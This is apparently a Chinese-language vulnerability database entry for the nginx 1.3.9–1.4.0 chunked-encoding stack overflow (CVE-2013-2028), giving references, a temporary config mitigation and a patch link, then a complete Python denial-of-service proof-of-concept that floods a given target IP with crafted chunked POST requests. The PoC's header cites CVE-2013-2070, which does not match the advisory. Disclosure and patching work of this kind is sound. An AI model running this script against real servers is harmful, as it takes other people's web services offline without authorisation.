漏洞版本:
Nginx 1.3.9 - 1.4.0
漏洞描述:
BUGTRAQ ID: 59699 CVE(CAN) ID: CVE-2013-2028 nginx是HTTP及反向代理服务器,同时也用作邮件代理服务器。 nginx 1.3.9 - 1.4.0在解析HTTP块时,"ngx_http_parse_chunked()"函数 (http/ngx_http_parse.c)中存在错误,可被利用造成栈缓冲区溢出。
<* 参考
http://secunia.com/advisories/53248/*>
http://www.openwall.com/lists/oss-security/2013/05/07/3
http://nginx.org/en/security_advisories.html
安全建议:
临时解决方法: 建议您升级到nginx 1.4.1或者是1.5.0。但如果您不能立刻安装补丁或者升级,您可以采取以下措施以降低威胁: * 在每个server{}块中使用如下配置 if ($http_transfer_encoding ~* chunked) { return 444; } 厂商补丁: Nginx ----- Nginx已经为此发布了一个安全公告(security_advisories)以及相应补丁: security_advisories:nginx security advisories 链接:http://nginx.org/en/security_advisories.html 补丁下载:http://nginx.org/download/patch.2013.chunked.txt
POC:
# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070)
# Google Dork: CVE-2013-2070
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2070
import httplib
import time
import socket
import sys
import os
# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)
packet = 0
def chunk(data, chunk_size):
chunked = ""
chunked += "%s\r\n" % (chunk_size)
chunked += "%s\r\n" % (data)
chunked += "0\r\n\r\n"
return chunked
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
os.system("clear")
elif sys.platform == 'win32':
os.system("cls")
else:
os.system("cls")
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]"
print "======================================================================"
if len(sys.argv) < 2:
print "Usage: python nginx_dos.py [target ip]\n"
print "Example: python nginx_dos.py 127.0.0.1\n"
sys.exit(1)
else:
host = sys.argv[1].lower()
while packet <= 5:
body = "Mert SARICA"
chunk_size = hex(dos_packet + 1)[3:]
chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()
if debug:
print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]
try:
con = httplib.HTTPConnection(host)
url = "/mertsarica.php"
con.putrequest('POST', url)
con.putheader('User-Agent', "curl/7.30.0")
con.putheader('Accept', "*/*")
con.putheader('Transfer-Encoding', 'chunked')
con.putheader('Content-Type', "application/x-www-form-urlencoded")
con.endheaders()
con.send(chunk(body, chunk_size[:len(chunk_size)]))
except:
print "Connection error!"
sys.exit(1)
try:
resp = con.getresponse()
print(resp.status, resp.reason)
except:
print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"
packet = packet + 1
con.close()
print "[+] Done!"